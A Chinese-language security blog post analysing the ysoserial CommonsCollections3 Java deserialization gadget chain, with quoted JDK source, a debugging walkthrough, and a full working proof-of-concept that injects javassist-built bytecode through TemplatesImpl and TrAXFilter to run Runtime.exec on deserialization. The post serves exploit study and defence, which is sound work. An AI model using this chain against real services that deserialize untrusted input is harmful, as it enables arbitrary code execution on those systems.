Ysoserial Commons Collections3分析

CoLoo 發表於 2021-10-13

Ysoserial Commons Collections3分析

寫在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之後已修復不可利用)
CommonsCollections2 CommonsCollections 4.0 無限制
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之後已修復不可利用)

同時javassist版本最好也要與yso中的版本一致,高版本的javassist也會丟擲異常,建議JDK7u21+javassist:3.12.0.GA

前置知識

簡單lou了一眼,這條鏈是cc1和cc2的結合版本,基本都是之前分析過的內容,但是考慮到cc1部分已經隔了很久了有些東西遺忘了,還是重新回顧下,溫故而知新。

CtClass.makeClassInitializer().setBody()

在該Ctclass物件內設定一段靜態程式碼塊 ,建立一個靜態程式碼塊。

下面程式碼將靜態程式碼塊內容設定為彈calc,可參考之前cc2分析文章的方法,生成.class檔案來看看檔案內容。

ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); 

Ysoserial Commons Collections3分析

ConstantTransformer

註釋:Transformer implementation that returns the same constant each time.

在該類開頭的註釋作者已經寫的很明白了,主要用作每次返回相同constant的Transformer

觀察原始碼, 在建立例項化物件時將傳入的引數Object constantToReturn賦值給屬性iConstant並在呼叫transform()或getConstant()方法時返回iConstant的值

Ysoserial Commons Collections3分析

ChainedTransformer

註釋:Transformer implementation that chains the specified transformers together.

這個類中核心方法為重寫的transform方法。該方法會對傳入的可迭代引數進行遍歷,並依次呼叫可迭代物件中每個元素的transform方法且上一次呼叫的transform方法返回值會作為下一個元素呼叫transfrom方法的引數

Ysoserial Commons Collections3分析

TemplatesImpl

在這個類中主要需要注意3個方法defineTransletClasses()getTransletInstance()newTransformer()

利用思路大致為:預先通過反射將惡意類的bytes陣列賦值給該類的屬性_bytecodes,之後以newTransformer()作為入口點,呼叫getTransletInstance()方法,進而呼叫defineTransletClasses()方法(需要在之前的if判斷中_name不為null) 通過ClassLoader#defineClass()載入_bytecodes,且通過判斷_bytecodes代表的類的父類是否為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet_transletIndex屬性重新賦值為0,最後回到newTransformer()方法中例項化惡意類進而觸發靜態程式碼塊中的程式碼執行。

private void defineTransletClasses()
  throws TransformerConfigurationException {

  if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
  }

  TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
        return new TransletClassLoader(ObjectFactory.findClassLoader());
      }
    });

  try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
      _auxClasses = new Hashtable();
    }

    for (int i = 0; i < classCount; i++) {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();

      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
      }
      else {
        _auxClasses.put(_class[i].getName(), _class[i]);
      }
    }

    if (_transletIndex < 0) {
      ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
      throw new TransformerConfigurationException(err.toString());
    }
  }
  catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

/**
     * This method generates an instance of the translet class that is
     * wrapped inside this Template. The translet instance will later
     * be wrapped inside a Transformer object.
     */
private Translet getTransletInstance()
  throws TransformerConfigurationException {
  try {
    if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setServicesMechnism(_useServicesMechanism);
    if (_auxClasses != null) {
      translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
  }
  catch (InstantiationException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (IllegalAccessException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

/**
     * Implements JAXP's Templates.newTransformer()
     *
     * @throws TransformerConfigurationException
     */
public synchronized Transformer newTransformer()
  throws TransformerConfigurationException
{
  TransformerImpl transformer;

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                    _indentNumber, _tfactory);

  if (_uriResolver != null) {
    transformer.setURIResolver(_uriResolver);
  }

  if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
    transformer.setSecureProcessing(true);
  }
  return transformer;
}

動態代理與LazyMap.get()

動態代理

一般建立動態代理時會用到java.lang.reflect.Proxy類,和java.lang.reflect.InvocationHandler介面。

主要通過Proxy.newProxyInstance方法建立代理物件

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
            throws IllegalArgumentException {
        ...
    }

Proxy.newProxyInstance()會返回一個代理物件
該方法有三個引數
1、類載入器:真實物件.getClass().getClassLoader()
2、實現的介面:真實物件.getClass().getInterfaces()
3、處理器:new InvocationHandler()

InvocationHandler

其中處理器也即處理程式一般為InvocationHandler,該介面只有一個invoke方法用作呼叫代理類中的方法,在建立代理類時需要重寫該方法。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println("代理方法執行了");
            }

引數:
1、proxy 代理物件
2、method:代理物件呼叫的方法,會被封裝成Method類的method物件傳入invoke方法中
3、args:代理物件呼叫方法時,傳遞到該方法內的實際引數

而在cc1中InvocationHandler的實現類AnnotationInvocationHandler類的invoke方法會呼叫LazyMap.get()

動態代理有一個最重要的特點即:在與方法關聯的代理例項上呼叫方法時,將在呼叫處理程式上呼叫invoke方法

AnnotationInvocationHandler

這裡有必要提一下AnnotationInvocationHandler類

AnnotationInvocationHandler實現了InvocationHandler介面,並且重寫了readObject方法,而在readObject方法會呼叫entrySet方法進而觸發動態代理機制呼叫invoke方法進而呼叫LazyMap.get()

LazyMap.get()

LazyMap繼承了抽象類AbstractMapDecorator,LazyMap類的構造方法也被protected修飾,不可以直接new,需要呼叫decorate方法來生成LazyMap的例項化物件。而在LazyMap的get方法中會呼叫transform方法

Ysoserial Commons Collections3分析

InstantiateTransformer

該類中有兩個屬性iParamTypesiArgs,在呼叫有參構造的時候會將傳入的陣列分別賦值給這兩個屬性。

該類的transform方法會通過反射例項化一個物件出來

Ysoserial Commons Collections3分析

TrAXFilter

新出現的一個類,觀察原始碼,有參構造會呼叫傳入Templates型別引數的newTransformer方法

Ysoserial Commons Collections3分析

PoC分析

poc

package cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class cc3 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();


        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
        inputStream.close();


    }
}

還是先拆開分析poc再整體調反序列化部分。

第一部分

首先是定義了兩個String型別的AbstractTransletTemplatesImpl,之後通過javassist寫了個惡意類,類名為CommonsCollections333333333,設定父類為AbstractTranslet,並將彈計算器的payload寫入該類靜態程式碼塊;之後將該類轉換為byte陣列,通過反射將TemplatesImpl的屬性_bytecodes賦值為惡意類經轉換後的byte陣列;繼續通過反射將TemplatesImpl的屬性賦值為test(只要不為null即可)

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);		//設定父類為AbstractTranslet
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

第二部分

 Transformer[] transformers=new Transformer[]{
   new ConstantTransformer(TrAXFilter.class),
   new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
 };

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

定義了陣列transformers,該陣列第一個元素為new ConstantTransformer(TrAXFilter.class)走ConstantTransformer的有參構造會將ConstantTransformer的屬性iConstant賦值為TrAXFilter的class物件;該陣列第二個元素為new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})將InstantiateTransformer類的屬性iParamTypesiArgs分別賦值為new Class[]{Templates.class},new Object[]{templatesImpl}

Ysoserial Commons Collections3分析

之後將該陣列賦值給了ChainedTransformer chainedTransformer並作為LazyMap.decorate()方法的引數建立LazyMap物件;之後通過反射拿到AnnotationInvocationHandler類的構造方法並將LazyMap物件作為構造方法引數建立動態代理時需要的處理器invocationHandler;之後建立動態代理LazyMap的代理類map1並作為引數通過AnnotationInvocationHandler類的構造方法獲得AnnotationInvocationHandler的例項化物件object。

最後把object序列化再反序列化即會觸發poc。

下面除錯一遍跟一下

除錯分析

在AnnotationInvocationHandler中readObject下斷點,debug

Ysoserial Commons Collections3分析

跟進到entrySet,此時memberValues為被代理的LazyMap物件(上面傳入的map1)所以根據動態代理的機制會呼叫動態代理中處理器的invoke方法,在invoke處也下個斷點,F9跟一下

Ysoserial Commons Collections3分析

呼叫了LazyMap的get方法,此時factory為ChainedTransformer物件,這裡呼叫了ChainedTransformer物件的transform方法,繼續跟進

Ysoserial Commons Collections3分析

進入ChainedTransformer的transform方法,第一個元素是ConstantTransformer物件,先呼叫其transform方法,ConstantTransformer的transform方法會返回iConstant,而我們在構造poc時new的transformers陣列中第一個元素new ConstantTransformer(TrAXFilter.class)在new的時候已經將iConstant賦值為TrAXFilter的class物件,也是這裡第一次返回的object

Ysoserial Commons Collections3分析

在第二次迴圈時,將第一次的object作為InstantiateTransformer#transform方法的引數,該方法通過反射先拿到input引數(也就是我們傳入的object即為TrAXFilter物件)的構造方法

Ysoserial Commons Collections3分析

在TrAXFilter的構造方法中呼叫了TemplatesImpl的neTransformer方法,繼續跟進

Ysoserial Commons Collections3分析

呼叫了getTransletInstance()方法

Ysoserial Commons Collections3分析

因為我們構造poc時反射設定了_name的值為test,跳過第一個if,走進第二個if中的defineTransletClasses()方法

Ysoserial Commons Collections3分析

在defineTransletClasses()方法中通過ClassLoader#defineClass()載入惡意類的byte陣列,之後將_transletIndex屬性賦值為0

Ysoserial Commons Collections3分析

後續跳回getTransletInstance()方法例項化該惡意類觸發靜態程式碼塊中程式碼執行

Ysoserial Commons Collections3分析

Ysoserial Commons Collections3分析

Gadget Chain

AnnotationInvocationHandler#readobject
	(proxy)lazyMap#entrySet
		AnnotationInvocationHandler#invoke
			lazyMap#get
				ChainedTransformer#transform	
					ConstantTransformer#transform
					InstantiateTransformer#transform
						TrAXFilter(構造方法)
							TemplatesImpl#newTransformer
								TemplatesImpl#getTransletInstance
									TemplatesImpl#defineTransletClasses
										惡意類.newInstance()
											Runtime.exec()

End

CC3這條鏈應該算是CC1和CC2的結合體了,反序列化觸發點為AnnotationInvocationHandler#readobject之後到

ChainedTransformer構造這裡比較有意思,是通過InstantiateTransformer類,利用該類中transform方法會通過反射獲取構造方法,結合TrAXFilter類的構造方法剛好可以呼叫TemplatesImpl#newTransformer來進入CC2部分到達任意程式碼執行。